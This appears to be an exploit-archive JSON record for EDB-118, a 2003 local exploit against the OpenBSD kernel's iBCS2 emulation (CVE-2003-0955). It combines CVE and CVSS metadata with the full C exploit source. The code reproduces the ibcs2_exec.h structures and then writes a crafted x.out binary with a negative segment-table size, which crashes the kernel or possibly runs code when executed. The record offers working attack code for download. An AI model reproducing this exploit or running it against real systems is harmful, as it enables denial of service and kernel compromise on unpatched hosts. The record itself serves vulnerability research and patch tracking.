{"exploit":{"id":"EDB-118","name":"OpenBSD - 'ibcs2_exec' Kernel Code Execution","description":"OpenBSD - 'ibcs2_exec' Kernel Code Execution","cves":["CVE-2003-0955"],"author":"Scott Bartram","published":"2003-11-07","platform":"bsd","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/118","path":"exploits/bsd/local/118.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-118.c","vulnerabilities":[{"id":"CVE-2003-0955","state":"PUBLISHED","title":null,"titleSource":null,"description":"OpenBSD kernel 3.3 and 3.4 allows local users to cause a denial of service (kernel panic) and possibly execute arbitrary code in 3.4 via a program with an invalid header that is not properly handled by (1) ibcs2_exec.c in the iBCS2 emulation (compat_ibcs2) or (2) exec_elf.c, which leads to a stack-based buffer overflow.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2003-0955","cvss":{"version":"2.0","baseScore":4.6,"severity":"medium","vectorString":"AV:L/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2003-0955"},"updatedAt":"2024-08-08T02:12:35.415Z","retrievedAt":"2026-11-26T12:39:23.791Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-118.png?v=2","url":"https://exploitbin.com/exploits/EDB-118","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-118/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-118/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"//\n// Patch ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.4/common/005_exec.patch\n//\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n#include <stdio.h>\n/* $OpenBSD: ibcs2_exec.h,v 1.3 2002/03/14 01:26:50 millert Exp $ */\n/* $NetBSD: ibcs2_exec.h,v 1.4 1995/03/14 15:12:24 scottb Exp $ */\n\n/*\n * Copyright (c) 1994, 1995 Scott Bartram\n * All rights reserved.\n *\n * adapted from sys/sys/exec_ecoff.h\n * based on Intel iBCS2\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and/or other materials provided with the distribution.\n * 3. The name of the author may not be used to endorse or promote products\n * derived from this software without specific prior written permission\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.\n * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT\n * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF\n * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\n\n#ifndef _IBCS2_EXEC_H_\n#define _IBCS2_EXEC_H_\n\n/*\n * COFF file header\n */\n\nstruct coff_filehdr {\n    u_short f_magic; /* magic number */\n    u_short f_nscns; /* # of sections */\n    long f_timdat; /* timestamp */\n    long f_symptr; /* file offset of symbol table */\n    long f_nsyms; /* # of symbol table entries */\n    u_short f_opthdr; /* size of optional header */\n    u_short f_flags; /* flags */\n};\n\n/* f_magic flags */\n#define COFF_MAGIC_I386 0x14c\n\n/* f_flags */\n#define COFF_F_RELFLG 0x1\n#define COFF_F_EXEC 0x2\n#define COFF_F_LNNO 0x4\n#define COFF_F_LSYMS 0x8\n#define COFF_F_SWABD 0x40\n#define COFF_F_AR16WR 0x80\n#define COFF_F_AR32WR 0x100\n\n/*\n * COFF system header\n */\n\nstruct coff_aouthdr {\n    short a_magic;\n    short a_vstamp;\n    long a_tsize;\n    long a_dsize;\n    long a_bsize;\n    long a_entry;\n    long a_tstart;\n    long a_dstart;\n};\n\n/* magic */\n#define COFF_OMAGIC 0407 /* text not write-protected; data seg\nis contiguous with text */\n#define COFF_NMAGIC 0410 /* text is write-protected; data starts\nat next seg following text */\n#define COFF_ZMAGIC 0413 /* text and data segs are aligned for\ndirect paging */\n#define COFF_SMAGIC 0443 /* shared lib */\n\n/*\n * COFF section header\n */\n\nstruct coff_scnhdr {\n    char s_name[8];\n    long s_paddr;\n    long s_vaddr;\n    long s_size;\n    long s_scnptr;\n    long s_relptr;\n    long s_lnnoptr;\n    u_short s_nreloc;\n    u_short s_nlnno;\n    long s_flags;\n};\n\n/* s_flags */\n#define COFF_STYP_REG 0x00\n#define COFF_STYP_DSECT 0x01\n#define COFF_STYP_NOLOAD 0x02\n#define COFF_STYP_GROUP 0x04\n#define COFF_STYP_PAD 0x08\n#define COFF_STYP_COPY 0x10\n#define COFF_STYP_TEXT 0x20\n#define COFF_STYP_DATA 0x40\n#define COFF_STYP_BSS 0x80\n#define COFF_STYP_INFO 0x200\n#define COFF_STYP_OVER 0x400\n#define COFF_STYP_SHLIB 0x800\n\n/*\n * COFF shared library header\n */\n\nstruct coff_slhdr {\nlong entry_len; /* in words */\nlong path_index; /* in words */\nchar sl_name[1];\n};\n\n#define COFF_ROUND(val, by) (((val) + by - 1) & ~(by - 1))\n\n#define COFF_ALIGN(a) ((a) & ~(COFF_LDPGSZ - 1))\n\n#define COFF_HDR_SIZE \\\n(sizeof(struct coff_filehdr) + sizeof(struct coff_aouthdr))\n\n#define COFF_BLOCK_ALIGN(ap, value) \\\n        (ap->a_magic == COFF_ZMAGIC ? COFF_ROUND(value, COFF_LDPGSZ) : \\\n         value)\n\n#define COFF_TXTOFF(fp, ap) \\\n        (ap->a_magic == COFF_ZMAGIC ? 0 : \\\n         COFF_ROUND(COFF_HDR_SIZE + fp->f_nscns * \\\nsizeof(struct coff_scnhdr), COFF_SEGMENT_ALIGNMENT(ap)))\n\n#define COFF_DATOFF(fp, ap) \\\n        (COFF_BLOCK_ALIGN(ap, COFF_TXTOFF(fp, ap) + ap->a_tsize))\n\n#define COFF_SEGMENT_ALIGN(ap, value) \\\n        (COFF_ROUND(value, (ap->a_magic == COFF_ZMAGIC ? COFF_LDPGSZ : \\\n         COFF_SEGMENT_ALIGNMENT(ap))))\n\n#define COFF_LDPGSZ 4096\n\n#define COFF_SEGMENT_ALIGNMENT(ap) 4\n\n#define COFF_BADMAG(ex) (ex->f_magic != COFF_MAGIC_I386)\n\n#define IBCS2_HIGH_SYSCALL(n) (((n) & 0x7f) == 0x28)\n#define IBCS2_CVT_HIGH_SYSCALL(n) (((n) >> 8) + 128)\n\nstruct exec_package;\nint exec_ibcs2_coff_makecmds(struct proc *, struct exec_package *);\n\n/*\n * x.out (XENIX)\n */\n\nstruct xexec {\nu_short x_magic; /* magic number */\nu_short x_ext; /* size of extended header */\nlong x_text; /* ignored */\nlong x_data; /* ignored */\nlong x_bss; /* ignored */\nlong x_syms; /* ignored */\nlong x_reloc; /* ignored */\nlong x_entry; /* executable entry point */\nchar x_cpu; /* processor type */\nchar x_relsym; /* ignored */\nu_short x_renv; /* flags */\n};\n\n/* x_magic flags */\n#define XOUT_MAGIC 0x0206\n\n/* x_cpu flags */\n#define XC_386 0x004a /* 386, word-swapped */\n\n/* x_renv flags */\n#define XE_V5 0xc000\n#define XE_SEG 0x0800\n#define XE_ABS 0x0400\n#define XE_ITER 0x0200\n#define XE_VMOD 0x0100\n#define XE_FPH 0x0080\n#define XE_LTEXT 0x0040\n#define XE_LDATA 0x0020\n#define XE_OVER 0x0010\n#define XE_FS 0x0008\n#define XE_PURE 0x0004\n#define XE_SEP 0x0002\n#define XE_EXEC 0x0001\n\n/*\n * x.out extended header\n */\n\nstruct xext {\nlong xe_trsize; /* ignored */\nlong xe_drsize; /* ignored */\nlong xe_tbase; /* ignored */\nlong xe_dbase; /* ignored */\nlong xe_stksize; /* stack size if XE_FS set in x_renv */\nlong xe_segpos; /* offset of segment table */\nlong xe_segsize; /* segment table size */\nlong xe_mdtpos; /* ignored */\nlong xe_mdtsize; /* ignored */\nchar xe_mdttype; /* ignored */\nchar xe_pagesize; /* ignored */\nchar xe_ostype; /* ignored */\nchar xe_osvers; /* ignored */\nu_short xe_eseg; /* ignored */\nu_short xe_sres; /* ignored */\n};\n\n/*\n * x.out segment table\n */\n\nstruct xseg {\nu_short xs_type; /* segment type */\nu_short xs_attr; /* attribute flags */\nu_short xs_seg; /* segment selector number */\nchar xs_align; /* ignored */\nchar xs_cres; /* ignored */\nlong xs_filpos; /* offset of this segment */\nlong xs_psize; /* physical segment size */\nlong xs_vsize; /* virtual segment size */\nlong xs_rbase; /* relocation base address */\nu_short xs_noff; /* ignored */\nu_short xs_sres; /* ignored */\nlong xs_lres; /* ignored */\n};\n\n/* xs_type flags */\n#define XS_TNULL 0 /* unused */\n#define XS_TTEXT 1 /* text (read-only) */\n#define XS_TDATA 2 /* data (read-write) */\n#define XS_TSYMS 3 /* symbol table (noload) */\n#define XS_TREL 4 /* relocation segment (noload) */\n#define XS_TSESTR 5 /* string table (noload) */\n#define XS_TGRPS 6 /* group segment (noload) */\n\n#define XS_TIDATA 64\n#define XS_TTSS 65\n#define XS_TLFIX 66\n#define XS_TDNAME 67\n#define XS_TDTEXT 68\n#define XS_TDFIX 69\n#define XS_TOVTAB 70\n#define XS_T71 71\n#define XS_TSYSTR 72\n\n/* xs_attr flags */\n#define XS_AMEM 0x8000 /* memory image */\n#define XS_AITER 0x0001 /* iteration records */\n#define XS_AHUGE 0x0002 /* unused */\n#define XS_ABSS 0x0004 /* uninitialized data */\n#define XS_APURE 0x0008 /* read-only (sharable) segment */\n#define XS_AEDOWN 0x0010 /* expand down memory segment */\n#define XS_APRIV 0x0020 /* unused */\n#define XS_A32BIT 0x0040 /* 32-bit text/data */\n\n/*\n * x.out iteration record\n */\n\nstruct xiter {\nlong xi_size; /* text/data size */\nlong xi_rep; /* number of replications */\nlong xi_offset; /* offset within segment to replicated data */\n};\n\n#define XOUT_HDR_SIZE (sizeof(struct xexec) + sizeof(struct xext))\n\nint exec_ibcs2_xout_makecmds(struct proc *, struct exec_package *);\n\n#endif /* !_IBCS2_EXEC_H_ */\n\nint main(int ac,char **av)\n{\nint fd;\nstruct xexec xp;\nstruct xext xep;\nchar exe[10];\nchar fil[]=\"./vvc\";\n\nfd=open(fil,O_CREAT|O_RDWR,0700);\nif (fd==-1) {perror(\"open\");return 1;}\nmemset(&xp,0,sizeof(xp));\nmemset(&xep,0,sizeof(xep));\nmemset(exe,'v',sizeof(exe));\nxp.x_magic = XOUT_MAGIC;\nxp.x_cpu = XC_386;\nxp.x_renv = XE_EXEC;\nxp.x_ext = sizeof(xep);\nxep.xe_segsize = -1;\nwrite(fd,&xp,sizeof(xp));\nwrite(fd,&xep,sizeof(xep));\nwrite(fd,exe,sizeof(exe));\nprintf(\"Now exec %s\\n\",fil);\n\n}\n\n// milw0rm.com [2003-11-07]","sha256":"eaee8f59c423e27cf6fa11d72d240cc2c450cd2973d5ccf8ba808ead0ef5413c","bytes":8485,"fetchedAt":"2026-11-26T13:05:36.989Z","encoding":"utf-8 (display only; download retains original bytes)"}